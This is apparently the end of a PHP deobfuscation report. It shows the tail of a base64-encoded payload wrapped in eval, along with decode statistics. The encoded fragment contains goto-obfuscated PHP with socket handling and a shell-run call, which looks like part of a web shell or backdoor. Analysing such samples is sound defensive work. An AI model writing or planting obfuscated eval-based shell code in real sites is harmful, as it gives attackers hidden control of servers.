pOyB9IGZjbG9zZSgkc29ja2V0KTsgfSB9IH0gfSBnb3RvIFc3Q1kwOyBHWXJyRTogJHNoLT5ydW4oKTsgZ290byBTVkw1UjsgQ1Q2VUE6IGVjaG8gIlw3NFx4MmZceDcwXDE2MlwxNDVceDNlIjsgZ290byBtMEFreDsgbTBBa3g6IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 d081b91f04c24b6e722581bb626d09ff
Eval Count 1
Decode Time 58 ms